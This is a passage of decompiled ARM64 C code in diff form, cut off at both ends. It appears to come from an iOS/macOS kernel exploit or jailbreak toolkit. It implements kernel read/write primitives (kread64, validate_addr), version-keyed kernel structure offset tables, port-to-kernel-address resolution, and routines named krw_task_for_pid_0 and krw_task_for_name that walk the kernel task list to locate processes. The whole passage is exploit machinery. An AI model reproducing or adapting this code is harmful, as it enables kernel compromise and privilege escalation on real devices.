- *(_BYTE *)(a1 + 1) = 1; - *(_DWORD *)(a1 + 0x3C) = v9; - } - else - { - *(_BYTE *)(a1 + 1) = 1; - } - } -LABEL_29: - ; - } - while ( !*(_BYTE *)(a1 + 1) ); - } - return 0LL; -} - -//----- (0000000000032538) ---------------------------------------------------- -_QWORD *__fastcall sub_32538(_DWORD *a1, unsigned int *a2) -{ - unsigned int v4; // w8 - unsigned int v5; // w9 - int v6; // w10 - int v7; // w9 - unsigned int v8; // w21 - _QWORD *result; // x0 - __int64 vars8; // [xsp+28h] [xbp+8h] - - if ( krw_ctx_has_flag(a1, 0x5184001) && (v4 = *a2, *a2 >= 0x1FF9) ) - { - v5 = a1[0x60]; - v6 = v4 % v5; - v7 = v5 - v4 % v5; - if ( !v6 ) - v7 = 0; - v8 = v7 + v4; - result = sub_36C10(a1, v7 + v4); - if ( result ) - *a2 = v8; - } - else - { - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - return (_QWORD *)sub_37210((__int64)a1, a2); - } - return result; -} -// 325CC: variable 'vars8' is possibly undefined - -//----- (00000000000325DC) ---------------------------------------------------- -void __fastcall sub_325DC(unsigned int *a1) -{ - unsigned __int64 v2; // x20 - __int64 v3; // x21 - __int64 vars8; // [xsp+28h] [xbp+8h] - - if ( *a1 ) - { - v2 = 0LL; - v3 = 8LL; - do - { - sub_2F9D4(*(_DWORD **)(*((_QWORD *)a1 + 1) + v3)); - ++v2; - v3 += 0x10LL; - } - while ( v2 < *a1 ); - } - free(*((void **)a1 + 1)); - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - free(a1); -} -// 32640: variable 'vars8' is possibly undefined - -//----- (0000000000032650) ---------------------------------------------------- -__int64 __fastcall sub_32650(unsigned int *a1, int a2, __int64 a3) -{ - unsigned int v6; // w8 - unsigned int v7; // w9 - char *v8; // x0 - __int64 v9; // x22 - char *v10; // x9 - __int64 result; // x0 - - v6 = *a1; - v7 = a1[1]; - if ( *a1 < v7 ) - { - v8 = (char *)*((_QWORD *)a1 + 1); -LABEL_5: - v10 = &v8[0x10 * v6]; - *(_DWORD *)v10 = a2; - *((_QWORD *)v10 + 1) = a3; - result = v6 + 1; - *a1 = result; - return result; - } - v9 = 2 * v7; - v8 = (char *)realloc(*((void **)a1 + 1), 0x10 * v9); - if ( v8 ) - { - a1[1] = v9; - *((_QWORD *)a1 + 1) = v8; - v6 = *a1; - goto LABEL_5; - } - return 0xFFFFFFFFLL; -} - -//----- (00000000000326D0) ---------------------------------------------------- -_QWORD *sub_326D0() -{ - _QWORD *v0; // x19 - void *v1; // x0 - - v0 = malloc(0x10uLL); - if ( v0 ) - { - v1 = malloc(0x40uLL); - if ( v1 ) - { - v0[1] = v1; - *v0 = 0x400000000LL; - } - else - { - free(v0); - return 0LL; - } - } - return v0; -} - -//----- (000000000003272C) ---------------------------------------------------- -__int64 __fastcall sub_3272C(int __fd, __int64 a2, unsigned __int64 a3, __int64 a4) -{ - unsigned __int64 v8; // x26 - unsigned int v9; // w27 - ssize_t v10; // x0 - bool v11; // cf - unsigned __int64 v12; // x8 - __int64 result; // x0 - int v14; // w19 - int v15; // w8 - - if ( a3 ) - { - v8 = 0LL; - while ( 2 ) - { - v9 = 0; - while ( 1 ) - { - v10 = pread(__fd, (void *)(a2 + v8), a3 - v8, v8 + a4); - if ( v10 != 0xFFFFFFFFFFFFFFFFLL ) - break; - if ( *__error() == 4 ) - { - v11 = v9++ >= 0x64; - if ( !v11 ) - continue; - } - goto LABEL_15; - } - v12 = v10; - if ( v10 < 0 ) - { -LABEL_15: - v14 = *__error(); - v15 = *__error(); - if ( v14 < 0 ) - v15 = -v15; - return v15 | 0x40000000u; - } - result = 0xAD014LL; - if ( v12 > a3 ) - return result; - v11 = __CFADD__(v12, v8); - v8 += v12; - if ( v11 || v8 > a3 ) - return result; - if ( v8 < a3 ) - continue; - break; - } - } - return 0LL; -} - -//----- (0000000000032820) ---------------------------------------------------- -__int64 __fastcall sub_32820(__int64 a1, __int64 a2) -{ - __int64 result; // x0 - int v4; // w8 - bool v5; // zf - int v6; // w9 - __int64 v8; // x8 - - result = 0LL; - v4 = *(_DWORD *)(a1 + 0x140); - if ( v4 <= 0x1F53 ) - { - if ( v4 == 0x1809 || v4 == 0x1C1B ) - { - v8 = 0x68LL; - } - else - { - if ( v4 != 0x1F53 ) - return result; - v8 = 0x58LL; - } - return v8 + a2; - } - if ( v4 > 0x225B ) - { - v5 = v4 == 0x225C; - v6 = 0x2712; - } - else - { - v5 = v4 == 0x1F54; - v6 = 0x2258; - } - if ( v5 || v4 == v6 ) - { - v8 = 0x48LL; - return v8 + a2; - } - return result; -} - -//----- (00000000000328A4) ---------------------------------------------------- -__int64 __fastcall sub_328A4(__int64 a1, unsigned __int64 a2) -{ - __int64 result; // x0 - unsigned __int64 v5; // x8 - int v6; // [xsp+4h] [xbp-1Ch] BYREF - __int64 v7; // [xsp+8h] [xbp-18h] BYREF - - if ( !kread32_outptr(a1, a2, &v6) ) - return 0LL; - result = sub_32820(a1, a2); - if ( !result ) - return result; - if ( !(unsigned int)kread64(a1, result, &v7) ) - return 0LL; - result = validate_addr(a1, v7); - if ( !result ) - return result; - v5 = *(_QWORD *)(a1 + 0x158); - if ( v5 >= 0x27120000000000LL ) - { - if ( (v6 & 0x3FFu) > 0x29 || ((1LL << v6) & 0x20068000000LL) == 0 ) - return v7; - if ( !(unsigned int)kread64(a1, v7 + 0x30, &v7) ) - return 0LL; - v5 = *(_QWORD *)(a1 + 0x158); - } - if ( v5 > 0x1F52FFFFFFFFFFLL || (v6 & 0x400) == 0 ) - return v7; - if ( (unsigned int)kread64(a1, v7 + *(int *)(a1 + 0x168), &v7) ) - { - result = validate_addr(a1, v7); - if ( !result ) - return result; - return v7; - } - return 0LL; -} -// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); - -//----- (00000000000329B8) ---------------------------------------------------- -__int64 __fastcall sub_329B8(__int64 a1, __int64 a2) -{ - __int64 result; // x0 - int v4; // w9 - bool v5; // zf - int v6; // w8 - __int64 v7; // x8 - bool v9; // cc - - result = 0LL; - v4 = *(_DWORD *)(a1 + 0x140); - if ( v4 <= 0x1F53 ) - { - switch ( v4 ) - { - case 0x1809: - v9 = *(_QWORD *)(a1 + 0x158) > 0x18090A095FFFFFuLL; - v7 = 0x98LL; - if ( v9 ) - v7 = 0x90LL; - break; - case 0x1C1B: - v7 = 0x90LL; - break; - case 0x1F53: - v7 = 0x80LL; - break; - default: - return result; - } - return v7 + a2; - } - if ( v4 > 0x225B ) - { - v5 = v4 == 0x225C; - v6 = 0x2712; - } - else - { - v5 = v4 == 0x1F54; - v6 = 0x2258; - } - if ( v5 || v4 == v6 ) - { - v7 = 0x70LL; - return v7 + a2; - } - return result; -} - -//----- (0000000000032A64) ---------------------------------------------------- -__int64 __fastcall sub_32A64(__int64 a1, __int64 a2) -{ - __int64 result; // x0 - int v4; // w9 - bool v5; // zf - int v6; // w8 - __int64 v7; // x8 - bool v9; // cc - - result = 0LL; - v4 = *(_DWORD *)(a1 + 0x140); - if ( v4 <= 0x1F53 ) - { - switch ( v4 ) - { - case 0x1809: - v9 = *(_QWORD *)(a1 + 0x158) > 0x18090A095FFFFFuLL; - v7 = 0xA8LL; - if ( v9 ) - v7 = 0xA0LL; - break; - case 0x1C1B: - v7 = 0xA0LL; - break; - case 0x1F53: - v7 = 0x90LL; - break; - default: - return result; - } - return v7 + a2; - } - if ( v4 > 0x225B ) - { - v5 = v4 == 0x225C; - v6 = 0x2712; - } - else - { - v5 = v4 == 0x1F54; - v6 = 0x2258; - } - if ( v5 || v4 == v6 ) - { - v7 = 0x80LL; - return v7 + a2; - } - return result; -} - -//----- (0000000000032B10) ---------------------------------------------------- -__int64 __fastcall sub_32B10(__int64 a1) -{ - host_t v2; // w0 - kern_return_t v3; // w19 - mach_msg_type_number_t info_outCnt; // [xsp+Ch] [xbp-24h] BYREF - integer_t info_out; // [xsp+10h] [xbp-20h] BYREF - host_t host; // [xsp+18h] [xbp-18h] BYREF - processor_set_name_t default_set; // [xsp+1Ch] [xbp-14h] BYREF - __int64 vars8; // [xsp+38h] [xbp+8h] - - host = 0; - info_outCnt = 2; - if ( *(_BYTE *)(a1 + 0xA) && getuid() ) - { - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - return mach_host_self(); - } - else - { - v2 = mach_host_self(); - v3 = processor_set_default(v2, &default_set); - if ( !v3 ) - { - v3 = processor_set_info(default_set, 5, &host, &info_out, &info_outCnt); - mach_port_deallocate(mach_task_self_, default_set); - } - if ( v3 == 0x35 ) - return mach_host_self(); - else - return host; - } -} - -//----- (0000000000032BC8) ---------------------------------------------------- -__int64 __fastcall sub_32BC8(__int64 a1) -{ - __int64 v1; // x8 - int v2; // w9 - bool v3; // zf - int v4; // w10 - - v1 = *(unsigned int *)(a1 + 0x174); - if ( (_DWORD)v1 ) - return v1; - v2 = *(_DWORD *)(a1 + 0x140); - if ( v2 <= 0x1F53 ) - { - switch ( v2 ) - { - case 0x1809: - if ( *(_QWORD *)(a1 + 0x158) <= 0x18090A095FFFFFuLL ) - v1 = 0xB0LL; - else - v1 = 0xA8LL; - break; - case 0x1C1B: - v1 = 0xA8LL; - break; - case 0x1F53: - v1 = 0xA0LL; - break; - default: - return v1; - } -LABEL_20: - *(_DWORD *)(a1 + 0x174) = v1; - return v1; - } - if ( v2 > 0x225B ) - { - v3 = v2 == 0x225C; - v4 = 0x2712; - } - else - { - v3 = v2 == 0x1F54; - v4 = 0x2258; - } - if ( v3 || v2 == v4 ) - { - v1 = 0x90LL; - goto LABEL_20; - } - return v1; -} - -//----- (0000000000032C78) ---------------------------------------------------- -unsigned __int64 __fastcall port_name_to_kaddr(__int64 a1, unsigned int a2) -{ - mach_port_t v4; // w21 - unsigned __int64 result; // x0 - bool v6; // zf - __int64 vars8; // [xsp+28h] [xbp+8h] - - v4 = mach_task_self_; - if ( mach_task_self_ != a2 || (result = *(_QWORD *)(a1 + 0x1B0)) == 0 ) - { - if ( a2 == 0xFFFFFFFF ) - { - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - return sub_32D24(a1); - } - else - { - result = task_get_ipc_port(a1, mach_task_self_, a2); - if ( result ) - { - result = sub_328A4(a1, result); - v6 = v4 != a2 || result == 0; - if ( !v6 && !*(_QWORD *)(a1 + 0x1B0) ) - *(_QWORD *)(a1 + 0x1B0) = result; - } - } - } - return result; -} -// 32D14: variable 'vars8' is possibly undefined -// 32D24: using guessed type __int64 __fastcall sub_32D24(_QWORD); - -//----- (0000000000032D24) ---------------------------------------------------- -unsigned __int64 __fastcall sub_32D24(__int64 a1) -{ - __int64 v1; // x8 - unsigned __int64 v3; // x1 - unsigned int v4; // w1 - - v1 = *(_QWORD *)(a1 + 0x19D8); - if ( v1 ) - return v1; - v3 = *(_QWORD *)(a1 + 0x19D0); - if ( v3 ) - return sub_328A4(a1, v3); - v4 = *(_DWORD *)(a1 + 0x191C); - if ( v4 == 0xFFFFFFFF ) - return 0LL; - if ( !v4 ) - { - v4 = *(_DWORD *)(a1 + 0x1918); - if ( v4 + 1 < 2 ) - return 0LL; - } - return port_name_to_kaddr(a1, v4); -} - -//----- (0000000000032D6C) ---------------------------------------------------- -__int64 __fastcall sub_32D6C(__int64 a1, unsigned int a2) -{ - return task_get_ipc_port(a1, mach_task_self_, a2); -} - -//----- (0000000000032D80) ---------------------------------------------------- -__int64 __fastcall sub_32D80(__int64 a1, __int64 a2) -{ - __int64 result; // x0 - int v4; // w8 - bool v5; // cc - __int64 v6; // x8 - __int64 v7; // x9 - __int64 v10; // [xsp+8h] [xbp-18h] BYREF - - result = 0LL; - v4 = *(_DWORD *)(a1 + 0x140); - if ( v4 <= 0x2257 ) - { - if ( (unsigned int)(v4 - 0x1F53) < 2 ) - { - v5 = *(_QWORD *)(a1 + 0x158) > 0x1F530F027FFFFFuLL; - v6 = 0x330LL; - v7 = 0x308LL; -LABEL_16: - if ( v5 ) - v6 = v7; - goto LABEL_20; - } - if ( v4 != 0x1809 ) - { - if ( v4 != 0x1C1B ) - return result; - v5 = *(_QWORD *)(a1 + 0x158) > 0x1C1B19145FFFFFuLL; - v6 = 0x330LL; - v7 = 0x338LL; - goto LABEL_16; - } - v6 = 0x320LL; -LABEL_20: - if ( !(unsigned int)kread64(a1, v6 + a2, &v10) ) - return 0LL; - if ( validate_addr(a1, v10) ) - return v10; - return 0LL; - } - if ( v4 == 0x2258 || v4 == 0x225C || v4 == 0x2712 ) - { - v6 = 0x300LL; - goto LABEL_20; - } - return result; -} -// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); - -//----- (0000000000032E84) ---------------------------------------------------- -__int64 __fastcall sub_32E84(__int64 a1) -{ - __int64 result; // x0 - int v3; // w9 - - result = 0LL; - v3 = *(_DWORD *)(a1 + 0x140); - if ( v3 > 0x2257 ) - { - if ( v3 == 0x2258 || v3 == 0x225C || v3 == 0x2712 ) - return 0x2B8LL; - } - else if ( (unsigned int)(v3 - 0x1F53) < 2 ) - { - if ( *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ) - return 0x2E8LL; - else - return 0x2C0LL; - } - else if ( v3 == 0x1809 ) - { - return 0x2D0LL; - } - else if ( v3 == 0x1C1B ) - { - return 0x2E0LL; - } - return result; -} - -//----- (0000000000032F1C) ---------------------------------------------------- -__int64 __fastcall sub_32F1C(__int64 a1) -{ - __int64 result; // x0 - int v3; // w8 - unsigned __int64 v4; // x20 - _BOOL4 has_flag; // w0 - unsigned int v6; // w9 - unsigned int v7; // w10 - bool v9; // cc - unsigned int v10; // w8 - unsigned int v11; // w9 - _BOOL4 v12; // w0 - unsigned __int64 v13; // x8 - bool v14; // cc - unsigned int v15; // w8 - unsigned int v16; // w9 - - result = 0LL; - v3 = *(_DWORD *)(a1 + 0x140); - if ( v3 <= 0x2257 ) - { - if ( (unsigned int)(v3 - 0x1F53) >= 2 ) - { - if ( v3 == 0x1809 ) - { - if ( krw_ctx_has_flag((_DWORD *)a1, 0x5584001) ) - return 0x388LL; - else - return 0x380LL; - } - else if ( v3 == 0x1C1B ) - { - v4 = *(_QWORD *)(a1 + 0x158); - has_flag = krw_ctx_has_flag((_DWORD *)a1, 0x5584001); - if ( has_flag ) - v6 = 0x3A0; - else - v6 = 0x390; - if ( has_flag ) - v7 = 0x3B0; - else - v7 = 0x398; - if ( v4 >= 0x1C1B1914600000LL ) - return v7; - else - return v6; - } - return result; - } - if ( !krw_ctx_has_flag((_DWORD *)a1, 0x100000) ) - { - v12 = krw_ctx_has_flag((_DWORD *)a1, 0x5584001); - v13 = *(_QWORD *)(a1 + 0x158); - v14 = v13 > 0x1F530F027FFFFFLL; - if ( v13 <= 0x1F530F027FFFFFLL ) - v15 = 0x3A0; - else - v15 = 0x378; - if ( v14 ) - v16 = 0x390; - else - v16 = 0x3B8; - if ( v12 ) - return v16; - else - return v15; - } - v9 = *(_QWORD *)(a1 + 0x158) > 0x1F530F027FFFFFuLL; - v10 = 0x3C8; - v11 = 0x3A0; -LABEL_27: - if ( v9 ) - return v11; - else - return v10; - } - if ( v3 == 0x2258 ) - { - v9 = *(_QWORD *)(a1 + 0x158) > 0x22580F032FFFFFuLL; - v10 = 0x530; - v11 = 0x538; - goto LABEL_27; - } - if ( v3 == 0x225C || v3 == 0x2712 ) - return 0x730LL; - return result; -} - -//----- (0000000000033098) ---------------------------------------------------- -__int64 __fastcall sub_33098(__int64 a1) -{ - __int64 result; // x0 - int v3; // w8 - - result = 0LL; - v3 = *(_DWORD *)(a1 + 0x140); - if ( v3 <= 0x225B ) - { - if ( (unsigned int)(v3 - 0x1F53) < 2 ) - { - if ( *(_QWORD *)(a1 + 0x158) < 0x1F530F02800000uLL ) - return 0LL; - else - return (unsigned int)sub_32F1C(a1) + 8; - } - if ( v3 != 0x2258 ) - return result; - goto LABEL_11; - } - if ( v3 == 0x225C || v3 == 0x2712 ) - { -LABEL_11: - if ( krw_ctx_has_flag((_DWORD *)a1, 0x5100000) ) - { - return 0x3A0LL; - } - else if ( krw_ctx_has_flag((_DWORD *)a1, 0x5584001) ) - { - return 0x388LL; - } - else - { - return 0x370LL; - } - } - return result; -} - -//----- (0000000000033168) ---------------------------------------------------- -__int64 __fastcall sub_33168(__int64 a1) -{ - __int64 result; // x0 - int v3; // w9 - - result = 0LL; - v3 = *(_DWORD *)(a1 + 0x140); - if ( v3 <= 0x225B ) - { - if ( (unsigned int)(v3 - 0x1F53) >= 2 && v3 != 0x2258 ) - return result; -LABEL_7: - if ( *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ) - return 0LL; - else - return 0x28LL; - } - if ( v3 == 0x2712 || v3 == 0x225C ) - goto LABEL_7; - return result; -} - -//----- (00000000000331D0) ---------------------------------------------------- -__int64 __fastcall sub_331D0(__int64 a1) -{ - __int64 result; // x0 - int v3; // w9 - - result = 0LL; - v3 = *(_DWORD *)(a1 + 0x140); - if ( v3 <= 0x225B ) - { - if ( (unsigned int)(v3 - 0x1F53) >= 2 && v3 != 0x2258 ) - return result; -LABEL_7: - if ( *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ) - return 0LL; - else - return 0x70LL; - } - if ( v3 == 0x2712 || v3 == 0x225C ) - goto LABEL_7; - return result; -} - -//----- (0000000000033238) ---------------------------------------------------- -__int64 __fastcall sub_33238(__int64 a1) -{ - __int64 result; // x0 - - result = sub_331D0(a1); - if ( (_DWORD)result ) - return (unsigned int)(result - *(_DWORD *)(a1 + 0x168)); - return result; -} - -//----- (0000000000033268) ---------------------------------------------------- -unsigned __int64 __fastcall sub_33268(__int64 a1, unsigned int a2) -{ - int v4; // w0 - unsigned int v5; // w21 - unsigned __int64 result; // x0 - - if ( *(int *)(a1 + 0x140) >= 0x2258 ) - { - v4 = sub_33098(a1); - if ( v4 ) - { - v5 = v4 - *(_DWORD *)(a1 + 0x168); - goto LABEL_5; - } - return 0LL; - } - v5 = sub_32F1C(a1); - if ( !v5 ) - return 0LL; -LABEL_5: - result = port_name_to_kaddr(a1, a2); - if ( result ) - result += v5 + ((__int64)*(int *)(a1 + 0x168) << (*(_QWORD *)(a1 + 0x158) > 0x1F530F027FFFFFuLL)); - return result; -} - -//----- (0000000000033304) ---------------------------------------------------- -__int64 __fastcall sub_33304(__int64 a1, __int64 a2) -{ - unsigned int v4; // w0 - __int64 v6; // [xsp+8h] [xbp-18h] BYREF - - v4 = sub_32F1C(a1); - if ( !v4 ) - return 0LL; - if ( *(int *)(a1 + 0x140) >= 0x2258 ) - return a2 - v4; - if ( !(unsigned int)kread64(a1, v4 + a2, &v6) || !v6 ) - return 0LL; - if ( validate_addr(a1, v6) ) - return v6; - return 0LL; -} -// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); - -//----- (000000000003338C) ---------------------------------------------------- -__int64 __fastcall sub_3338C(__int64 a1) -{ - __int64 result; // x0 - int v3; // w10 - __int64 v4; // x9 - - result = 0LL; - v3 = *(_DWORD *)(a1 + 0x140); - v4 = 0x28LL; - if ( v3 <= 0x2257 ) - { - if ( (unsigned int)(v3 - 0x1F53) >= 2 && v3 != 0x1809 ) - { - if ( v3 != 0x1C1B ) - return result; - if ( *(_QWORD *)(a1 + 0x158) <= 0x1C1B19145FFFFFuLL ) - return 0x28LL; - else - return 0x20LL; - } - return v4; - } - if ( v3 == 0x2258 || v3 == 0x225C || v3 == 0x2712 ) - return v4; - return result; -} - -//----- (0000000000033414) ---------------------------------------------------- -__int64 __fastcall krw_task_for_pid_0(__int64 a1, __int64 a2, int a3) -{ - return sub_3341C(a1, a2, a3, 0LL); -} - -//----- (000000000003341C) ---------------------------------------------------- -__int64 __fastcall sub_3341C(__int64 a1, __int64 a2, int a3, const char *a4) -{ - int v7; // w8 - __int64 result; // x0 - __int64 v10; // x24 - __int64 v11; // x25 - int v16; // w0 - int v17; // w23 - int v18; // w20 - __int64 v19; // x0 - unsigned __int64 v20; // x26 - __int64 v21; // x8 - __int64 v22; // x27 - int v23; // w28 - __int64 v24; // x23 - unsigned __int64 v25; // x20 - __int64 v26; // x1 - __int64 v27; // x0 - unsigned __int64 v28; // x0 - __int64 v29; // x0 - int v31; // [xsp+4h] [xbp-8Ch] BYREF - __int64 v32; // [xsp+8h] [xbp-88h] BYREF - char __s1[8]; // [xsp+10h] [xbp-80h] BYREF - unsigned __int64 v34; // [xsp+18h] [xbp-78h] - __int64 v35; // [xsp+20h] [xbp-70h] - - v7 = *(_DWORD *)(a1 + 0x140); - result = 0LL; - if ( a4 ) - { - if ( v7 == 0x2258 ) - { - v11 = 0x381LL; - v10 = 0LL; - } - else - { - if ( v7 != 0x2712 && v7 != 0x225C ) - return result; - v10 = 0LL; - v11 = 0x579LL; - } - } - else if ( v7 > 0x2257 ) - { - if ( v7 != 0x2258 && v7 != 0x2712 && v7 != 0x225C ) - return result; - v11 = 0LL; - v10 = 0x60LL; - } - else - { - if ( (unsigned int)(v7 - 0x1F53) >= 2 && v7 != 0x1809 && v7 != 0x1C1B ) - return result; - v10 = 0x68LL; - v11 = 0LL; - } - v16 = sub_3338C(a1); - if ( !v16 ) - return 0LL; - v17 = v16; - v18 = *(_DWORD *)(a1 + 0x168); - v19 = *(_QWORD *)(a1 + 0x19F8); - if ( v19 ) - { - sub_19B98("__DATA", v19, __s1); - result = 0LL; - v20 = v34; - if ( !v34 ) - return result; - v21 = v35; - if ( !v35 ) - return result; - v22 = *(_QWORD *)__s1; - } - else - { - v21 = 0LL; - v20 = 0LL; - v22 = 0LL; - } - v23 = 0; - v24 = (unsigned int)(v18 + v17); - v25 = v20 + v21; - while ( 2 ) - { - v32 = a2; - v26 = a2; - do - { - v27 = sub_33304(a1, v26); - if ( v27 ) - { - if ( a4 ) - { - if ( !(unsigned int)kreadbuf_last_1(a1, v27 + v11, 0x21LL, (__int64)__s1) ) - return 0LL; - if ( !strncmp(__s1, a4, 0x21uLL) ) - return v32; - } - else - { - if ( !(unsigned int)kreadbuf_last_1(a1, v27 + v10, 4LL, (__int64)&v31) ) - return 0LL; - if ( v31 == a3 ) - return v32; - } - } - if ( !(unsigned int)kread64(a1, v32 + v24, &v32) ) - return 0LL; - v28 = validate_addr(a1, v32); - v32 = v28; - if ( !v28 ) - break; - v26 = v28; - if ( v22 && v28 >= v20 && v28 < v25 ) - { - if ( !(unsigned int)kread64(a1, v28, &v32) ) - return 0LL; - v29 = validate_addr(a1, v32); - v32 = v29; - if ( !v29 ) - break; - v26 = v29; - } - } - while ( v26 != a2 ); - sub_2AABC(a1, 0x3D090u); - result = 0LL; - if ( ++v23 != 6 ) - continue; - break; - } - return result; -} -// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); - -//----- (00000000000336AC) ---------------------------------------------------- -__int64 __fastcall krw_task_for_name(__int64 a1, __int64 a2, const char *a3) -{ - return sub_3341C(a1, a2, 0, a3); -} - -//----- (00000000000336B8) ---------------------------------------------------- -__int64 __fastcall sub_336B8(__int64 a1, __int64 a2, _DWORD *a3, _DWORD *a4) -{ - __int64 result; // x0 - int v9; // w8 - __int64 v11; // x23 - unsigned __int64 v14; // x1 - unsigned __int64 v15; // x1 - unsigned __int64 v16; // [xsp+0h] [xbp-40h] BYREF - unsigned int v17; // [xsp+Ch] [xbp-34h] BYREF - - result = 0LL; - v17 = 0; - v9 = *(_DWORD *)(a1 + 0x140); - if ( v9 > 0x2257 ) - { - if ( v9 != 0x2258 && v9 != 0x2712 && v9 != 0x225C ) - return result; - } - else if ( (unsigned int)(v9 - 0x1F53) >= 2 ) - { - if ( v9 != 0x1809 && v9 != 0x1C1B ) - return result; - v11 = 0x14LL; - goto LABEL_18; - } - v11 = 8LL; -LABEL_18: - if ( !(unsigned int)kread64(a1, a2 + 0x20, &v16) ) - return 0LL; - v14 = v16; - if ( !v16 ) - return 0LL; - if ( *(_QWORD *)(a1 + 0x158) > 0x22580A06BFFFFFuLL ) - { - v14 = sub_2A200(a1, v16, &v17); - v16 = v14; - } - result = validate_addr(a1, v14); - v16 = result; - if ( result ) - { - if ( *(_QWORD *)(a1 + 0x158) <= 0x22580A06BFFFFFuLL ) - { - if ( *(int *)(a1 + 0x140) < 0x1F02 ) - v15 = v11 + a2; - else - v15 = result + v11; - if ( kread32_outptr(a1, v15, &v17) ) - goto LABEL_30; - } - else if ( v17 ) - { - v17 /= 0x18u; -LABEL_30: - *a3 = v17; - *a4 = 0x18; - return v16; - } - return 0LL; - } - return result; -} -// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); - -//----- (000000000003382C) ---------------------------------------------------- -__int64 __fastcall sub_3382C(__int64 a1, mach_port_name_t a2, _DWORD *a3, _DWORD *a4) -{ - __int64 v8; // x1 - __int64 result; // x0 - unsigned __int64 v10; // x1 - __int64 v11; // x0 - __int64 v12; // x23 - task_t v13; // w0 - __int64 v14; // x23 - int v15; // w8 - __int64 v16; // x8 - unsigned __int64 v17; // x0 - __int64 v18; // x0 - mach_port_t init_port_set; // [xsp+4h] [xbp-3Ch] BYREF - int x[2]; // [xsp+8h] [xbp-38h] BYREF - - if ( mach_task_self_ == a2 ) - { - v8 = *(_QWORD *)(a1 + 0x1A0); - if ( v8 ) - return sub_336B8(a1, v8, a3, a4); - } - v10 = *(_QWORD *)(a1 + 0x19D0); - if ( !v10 ) - return 0LL; - v11 = sub_328A4(a1, v10); - if ( !v11 ) - return 0LL; - v12 = v11; - v13 = *(_DWORD *)(a1 + 0x1918); - if ( v13 + 1 <= 1 ) - { - x[0] = 0; - if ( !pid_for_task(a2, x) ) - { - v14 = sub_3341C(a1, v12, x[0], 0LL); - if ( v14 ) - goto LABEL_9; - } - return 0LL; - } - init_port_set = a2; - if ( mach_ports_register(v13, &init_port_set, 1u) ) - return 0LL; - v15 = *(_DWORD *)(a1 + 0x140); - if ( v15 == 0x1809 ) - { - v16 = 0x308LL; - } - else - { - if ( v15 != 0x1C1B ) - return 0LL; - v16 = 0x318LL; - } - if ( !(unsigned int)kread64(a1, v16 + v12, x) ) - return 0LL; - v17 = validate_addr(a1, *(__int64 *)x); - if ( !v17 ) - return 0LL; - v18 = sub_328A4(a1, v17); - if ( !v18 ) - return 0LL; - v14 = v18; - init_port_set = 0; - if ( mach_ports_register(*(_DWORD *)(a1 + 0x1918), &init_port_set, 1u) ) - return 0LL; -LABEL_9: - result = sub_32D80(a1, v14); - if ( result ) - { - v8 = result; - if ( mach_task_self_ == a2 ) - *(_QWORD *)(a1 + 0x1A0) = result; - return sub_336B8(a1, v8, a3, a4); - } - return result; -} -// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); - -//----- (00000000000339B4) ---------------------------------------------------- -__int64 __fastcall sub_339B4(__int64 a1, mach_port_name_t a2, unsigned int a3) -{ - __int64 result; // x0 - int v5; // [xsp+8h] [xbp-18h] BYREF - unsigned int v6; // [xsp+Ch] [xbp-14h] BYREF - - if ( a3 + 1 < 2 ) - return 0LL; - result = sub_3382C(a1, a2, &v6, &v5); - if ( !result ) - return result; - if ( a3 >> 8 >= v6 ) - return 0LL; - result += v5 * (a3 >> 8); - return result; -} - -//----- (0000000000033A1C) ---------------------------------------------------- -__int64 __fastcall sub_33A1C(__int64 a1, unsigned int a2) -{ - return sub_339B4(a1, mach_task_self_, a2); -} - -//----- (0000000000033A30) ---------------------------------------------------- -__int64 __fastcall task_get_ipc_port(__int64 a1, mach_port_name_t a2, unsigned int a3) -{ - __int64 result; // x0 - __int64 v5; // [xsp+8h] [xbp-18h] BYREF - - result = sub_339B4(a1, a2, a3); - if ( result ) - { - if ( (unsigned int)kread64(a1, result, &v5) ) - return validate_addr(a1, v5); - else - return 0LL; - } - return result; -} -// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); - -//----- (0000000000033A88) ---------------------------------------------------- -__int64 __fastcall sub_33A88(__int64 a1, __int64 a2, char a3) -{ - __int64 result; // x0 - unsigned __int64 v6; // x1 - __int64 v7; // [xsp+8h] [xbp-28h] BYREF - __int64 v8; // [xsp+10h] [xbp-20h] BYREF - __int64 v9; // [xsp+18h] [xbp-18h] BYREF - - v7 = 0LL; - if ( !(unsigned int)kread64( - a1, - a2 + 0x10LL * ((unsigned __int64)(*(_QWORD *)(a1 + 0x158) - 0x1F541900000000LL) >> 0x20 > 4), - &v9) ) - return 0LL; - result = validate_addr(a1, v9); - if ( !result ) - return result; - result = v9; - if ( *(int *)(a1 + 0x140) < 0x1C1B ) - { - v7 = v9; - return result; - } - if ( !(unsigned int)kread64(a1, v9 + 0x20, &v8) ) - return 0LL; - result = validate_addr(a1, v8); - if ( result ) - { - result = v8; - if ( (a3 & 1) == 0 ) - { - if ( (unsigned int)kread64_internal(a1, v8 + 0x38, &v7) ) - { - v6 = v7; - if ( *(_QWORD *)(a1 + 0x158) >= 0x1F542301E00000uLL ) - { - v6 = sub_2A190(a1, HIDWORD(v7)); - v7 = v6; - } - return validate_addr(a1, v6); - } - else - { - return v7; - } - } - } - return result; -} -// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); -// 29B78: using guessed type __int64 __fastcall kread64_internal(_QWORD, _QWORD, _QWORD); - -//----- (0000000000033B98) ---------------------------------------------------- -__int64 __fastcall sub_33B98(_DWORD *a1, unsigned int a2, unsigned __int64 a3) -{ - unsigned __int64 v5; // x0 - __int64 v6; // x20 - unsigned int v7; // w25 - char v8; // w26 - unsigned __int64 v9; // x22 - _BOOL4 